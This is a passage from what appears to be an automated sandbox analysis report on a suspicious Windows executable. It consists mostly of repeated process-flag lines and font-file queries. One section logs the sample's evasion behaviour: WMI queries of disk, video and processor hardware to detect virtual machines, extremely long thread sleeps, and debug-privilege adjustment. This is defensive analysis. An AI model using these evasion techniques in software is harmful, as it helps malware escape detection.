                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                        Malware Analysis System Evasion

                        barindex
                        Yara detected AntiVM3
                        Source: Yara matchFile source: Process Memory Space: chTJmCR9bS.exe PID: 7384, type: MEMORYSTR
                        Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
                        Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: 1640000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: 3300000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: 3180000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: 9640000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: A640000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: A850000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: B850000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: 1760000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: 3420000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: 3220000 memory reserve | memory write watchJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWindow / User API: threadDelayed 2158Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWindow / User API: threadDelayed 5442Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exe TID: 7404Thread sleep time: -922337203685477s >= -30000sJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exe TID: 7792Thread sleep time: -23058430092136925s >= -30000sJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exe TID: 7716Thread sleep time: -30000s >= -30000sJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exe TID: 7632Thread sleep time: -922337203685477s >= -30000sJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: chTJmCR9bS.exe, 00000000.00000002.1824869359.000000000450A000.00000004.00000800.00020000.00000000.sdmp, chTJmCR9bS.exe, 00000000.00000002.1828781159.0000000009490000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: schnvhgFsC
                        Source: chTJmCR9bS.exe, 00000002.00000002.1927999993.00000000015B5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess information queried: ProcessInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess token adjusted: DebugJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess token adjusted: DebugJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeMemory allocated: page read and write | page guardJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeProcess created: C:\Users\user\Desktop\chTJmCR9bS.exe "C:\Users\user\Desktop\chTJmCR9bS.exe"Jump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Users\user\Desktop\chTJmCR9bS.exe VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
                        Source: C:\Users\user\Desktop\chTJmCR9bS.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
